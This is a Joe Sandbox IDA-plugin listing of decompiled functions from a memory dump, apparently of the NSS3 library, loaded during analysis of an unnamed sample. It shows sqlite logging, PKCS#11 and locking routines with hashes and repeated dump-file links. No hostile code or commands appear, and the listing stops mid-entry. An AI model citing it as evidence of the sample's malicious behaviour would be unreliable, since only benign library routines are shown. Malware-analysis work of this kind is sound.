Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: d4905e2b4012a3a5b5a663f283be407007b167744fa5636bc02782486a915ce2
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: B2016DB5A05F0746E7566F774A1C3E776E85F11288F14083E8569DAF40EF30D508CBA1

Function 6C70AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70AFDA

Strings

%s at line %d of [%.10s], xrefs: 6C70AFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C70AFC4
misuse, xrefs: 6C70AFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6C70AF5C

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 32d15028816e8b43d9762899fcf5bbc6b24502658501808f34fe5d388451472e
Instruction ID: 1a6a237c6341e681aa0381774764e90baff5d34c3aa441e56cdf14f6d22a50f1
Opcode Fuzzy Hash: 32d15028816e8b43d9762899fcf5bbc6b24502658501808f34fe5d388451472e
Instruction Fuzzy Hash: 9B91E1B1B012158FDB14CF69CA54BAEB7F1BF45324F1945A8E864ABB91C330ED01CBA0

Function 6C76FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C76FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C76FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C76FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C76FDDE

Part of subcall function 6C778800: TlsGetValue.KERNEL32(?,6C78085A,00000000,?,6C728369,?), ref: 6C778821
Part of subcall function 6C778800: TlsGetValue.KERNEL32(?,?,6C78085A,00000000,?,6C728369,?), ref: 6C77883D
Part of subcall function 6C778800: EnterCriticalSection.KERNEL32(?,?,?,6C78085A,00000000,?,6C728369,?), ref: 6C778856
Part of subcall function 6C778800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C778887
Part of subcall function 6C778800: PR_Unlock.NSS3(?,?,?,?,6C78085A,00000000,?,6C728369,?), ref: 6C778899

Strings

pkcs11:, xrefs: 6C76FC4F

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: a7229dde4e6493e79dc31bcc88d8e38f1efa2b0476d43988d9830b950d67c19a
Instruction ID: d5cba15333a3e37ad71aa581dd9f8bd29e2021b5631de386405cdf298d149581
Opcode Fuzzy Hash: a7229dde4e6493e79dc31bcc88d8e38f1efa2b0476d43988d9830b950d67c19a
Instruction Fuzzy Hash: D551D0B2A01111ABEF108F6ADF5AB9A3365AB4135CF180035DD156BF52EB20F904CBA2

Function 6C7349C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 6C734860: SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C734894

PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C736361,?,?,?), ref: 6C734A8F
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C736361,?,?,?), ref: 6C734AD0

Strings

^jsl, xrefs: 6C7349C5
acsl, xrefs: 6C7349FB
acsl, xrefs: 6C734AB4

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Error$DecodeItem_QuickUtil
String ID: ^jsl$acsl$acsl
API String ID: 1982233058-1287516998
Opcode ID: 463bcaf71c58bfe5892362f3dcca805dcdde1ff194cb940bc2e52556cf1d5a1f
Instruction ID: c0dece07d2cf4f35a05104494ce96d8c046a17d8acc767b0274c5de9660ffcf4
Opcode Fuzzy Hash: 463bcaf71c58bfe5892362f3dcca805dcdde1ff194cb940bc2e52556cf1d5a1f
Instruction Fuzzy Hash: 03310A31A0412687EB188A48DE9476E7E25F781318F10563AD51DF7BC3C636984197DA

Function 6C7CA8F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C7B2AE9,00000000,0000065C), ref: 6C7CA91D

Part of subcall function 6C76ADC0: TlsGetValue.KERNEL32(?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE10
Part of subcall function 6C76ADC0: EnterCriticalSection.KERNEL32(?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE24
Part of subcall function 6C76ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C74D079,00000000,00000001), ref: 6C76AE5A
Part of subcall function 6C76ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE6F
Part of subcall function 6C76ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE7F
Part of subcall function 6C76ADC0: TlsGetValue.KERNEL32(?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEB1
Part of subcall function 6C76ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C7B2AE9,00000000,0000065C), ref: 6C7CA934
SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000000,?,?,6C7B2AE9,00000000,0000065C), ref: 6C7CA949
free.MOZGLUE(?,00000000,0000065C), ref: 6C7CA952

Strings

*{l, xrefs: 6C7CA8F6

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: *{l
API String ID: 1595327144-2521452302
Opcode ID: 0828e980bbc02e748221cfcee67f2913dda03938462442874f40ad5b1cd14d03
Instruction ID: ec758c026f2e9b917737cc035ef9e2926328d48d325532960a62139265b9ad2b
Opcode Fuzzy Hash: 0828e980bbc02e748221cfcee67f2913dda03938462442874f40ad5b1cd14d03
Instruction Fuzzy Hash: 08314FB46012119FDB04CF15DA85E52BBE8FF49369B1581A9EC098F756E730E810CFA2

Function 6C7FA800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6C6C7915,?,?), ref: 6C7FA86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C6C7915,?,?), ref: 6C7FA8A6

Strings

%s at line %d of [%.10s], xrefs: 6C7FA8A0
database corruption, xrefs: 6C7FA89B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7FA891

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: f0471502a84a188b21497c16911fba22bdb368b0911c5621bef60bef2754c087
Instruction ID: af9a42742d169cfc6d9981c0dda9c139e58a0b4b8a970faf95b6f7746e4d7c17
Opcode Fuzzy Hash: f0471502a84a188b21497c16911fba22bdb368b0911c5621bef60bef2754c087
Instruction Fuzzy Hash: 1F110671A00218AFDB158F12DD90AAABBA5FF49324F004438FC194BB41EB70AD16C7D6

Function 6C710DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C710BDE), ref: 6C710DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C710BDE), ref: 6C710DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C710BDE), ref: 6C710DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C710BDE), ref: 6C710E32

Strings

%s incr => %d (find lib), xrefs: 6C710E2D

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: e093debeb2aef7cc9cd692655addec78c3e06f4a12d410fc2a1e4c70192d66f0
Instruction ID: 3e2ddab83f550782110a79ce2418b8b6f8e71b4a19a25677f359ad7d602700e6
Opcode Fuzzy Hash: e093debeb2aef7cc9cd692655addec78c3e06f4a12d410fc2a1e4c70192d66f0
Instruction Fuzzy Hash: F701F1727012209FE7209E6A8D49E1773ACDB45A09B09487DE909D3E41E761EC28C7E1

Function 6C7CAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]{l,00000000,?,?,6C7A6AC6,?), ref: 6C7CAC2D

Part of subcall function 6C76ADC0: TlsGetValue.KERNEL32(?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE10
Part of subcall function 6C76ADC0: EnterCriticalSection.KERNEL32(?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE24
Part of subcall function 6C76ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C74D079,00000000,00000001), ref: 6C76AE5A
Part of subcall function 6C76ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE6F
Part of subcall function 6C76ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE7F
Part of subcall function 6C76ADC0: TlsGetValue.KERNEL32(?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEB1
Part of subcall function 6C76ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEC9

PK11_FreeSymKey.NSS3(?,@]{l,00000000,?,?,6C7A6AC6,?), ref: 6C7CAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]{l,00000000,?,?,6C7A6AC6,?), ref: 6C7CAC59
free.MOZGLUE(8CB6FF01,6C7A6AC6,?,?,?,?,?,?,?,?,?,?,6C7B5D40,00000000,?,6C7BAAD4), ref: 6C7CAC62

Strings

@]{l, xrefs: 6C7CAC05

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]{l
API String ID: 1595327144-1459337100
Opcode ID: 9cd2fbd31187fdc84667a6c9aa2087877441ccfa33b569cf72988208ba2bc74a
Instruction ID: 89c10a9e14c42e3f5936663dce0bf53efb252c7744665bc4834de231ee3ec8f9
Opcode Fuzzy Hash: 9cd2fbd31187fdc84667a6c9aa2087877441ccfa33b569cf72988208ba2bc74a
Instruction Fuzzy Hash: 2F017CB56002149FDF10CF15EAC4B4677A8AB04769F188078E9098F706D730E804CBA2

Function 6C6A2940 Relevance: 7.8, APIs: 6, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C6A1360,00000000), ref: 6C6A2A19
memcpy.VCRUNTIME140(?,00000009,00000034,?,?,?,6C6A1360,00000000), ref: 6C6A2A45
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6C6A2A7C

Part of subcall function 6C6A2D50: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,C3E59854,?,?,00000000,?,6C6A296E), ref: 6C6A2DA4

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A2AF3
memcpy.VCRUNTIME140(?,00000009,0000000C,?,?,?,6C6A1360,00000000), ref: 6C6A2B71
memset.VCRUNTIME140(00000000,00000000,00000034), ref: 6C6A2B90

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID:
API String ID: 638109778-0
Opcode ID: 2f5b016b93a0b3b659735559d736a674684ac23d5874d61ae96faf25dd2df79d
Instruction ID: 4c4973511b3a4563ea5be91dcac3eb6ec3bd4ced23fddccc10f0e84b17b8d0cb
Opcode Fuzzy Hash: 2f5b016b93a0b3b659735559d736a674684ac23d5874d61ae96faf25dd2df79d
Instruction Fuzzy Hash: 77C1B671F402069BDB04CFAAC4547AAB7B5BF89318F158129D91D9B741D730EC42CBD9

Function 6C6B9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C6B9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C6B9D45
EnterCriticalSection.KERNEL32(?), ref: 6C6B9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C6B9DDE

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1cfc2b6079176f258265b15c9cfd351d52764caeb6efd3c86eb9f3f511d783fe
Instruction ID: 833b24e08359bff5d44e3d461dbc32fe4c97f3eaab093b0f7a3ae580c01ef3ad
Opcode Fuzzy Hash: 1cfc2b6079176f258265b15c9cfd351d52764caeb6efd3c86eb9f3f511d783fe
Instruction Fuzzy Hash: 36A19F317051008FDB299F28D99C7AE3779BB9331DF18013CE41667A41EB39A856CBD6

Function 6C6BA910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c083828fa8bded205749a6f8803ddb05c319bafc0bec9b6d3ebaf8d7202972a
Instruction ID: 6b3de7f6ae98bb49f23b25a1dba8b993e729e3108561ff12966bd7cd96e318dd
Opcode Fuzzy Hash: 4c083828fa8bded205749a6f8803ddb05c319bafc0bec9b6d3ebaf8d7202972a
Instruction Fuzzy Hash: 3291D4327012048FEB249F68D9D9BAF37B9BB87308F14003DD55657A42EB34A855CBE5

Function 6C7CDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7CDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C7CDE77

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: e76ec814f6fcf51cf3d57f2edddd43619e01e01981fcf1b2945d5808fbf24c34
Instruction ID: c8bd8b607b4c36d1856af3af66d7d29c0263bee653f2d58fc86dcd6dcb9fa802
Opcode Fuzzy Hash: e76ec814f6fcf51cf3d57f2edddd43619e01e01981fcf1b2945d5808fbf24c34
Instruction Fuzzy Hash: D1717671A40316CFCB20CF99C6C468AB7B4BFA9718F25817ED8586B702E770A901CF91

Function 6C6C6D2E Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B3C66
Part of subcall function 6C6B3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C6B3D04

memcpy.VCRUNTIME140(?,?,?), ref: 6C6C6DC0
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C6DE5

Part of subcall function 6C6C8010: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C807D
Part of subcall function 6C6C8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C80D1
Part of subcall function 6C6C8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C810E
Part of subcall function 6C6C8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6C8140

memcpy.VCRUNTIME140(00000004,00000004,00000000), ref: 6C6C6E7E
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6C6E96
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C6EC2

Part of subcall function 6C6C7D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C7E27
Part of subcall function 6C6C7D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C7E67

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: _byteswap_ulong$memcpy$_byteswap_ushort
String ID:
API String ID: 3070372028-0
Opcode ID: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction ID: c3948950d2f854ba618fb9c263dd171c1b2a5929e44f7dbbe3736798dc1d30c5
Opcode Fuzzy Hash: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction Fuzzy Hash: 6E51A071A083519FC724CF65C450B6ABBE5FF89318F04896DE8A987B41E730E918CBD6

Function 6C73C9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6C73CA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6C73CA35
PR_Unlock.NSS3(00000000), ref: 6C73CA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6C73CA77
PR_Unlock.NSS3(00000000), ref: 6C73CAFC

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
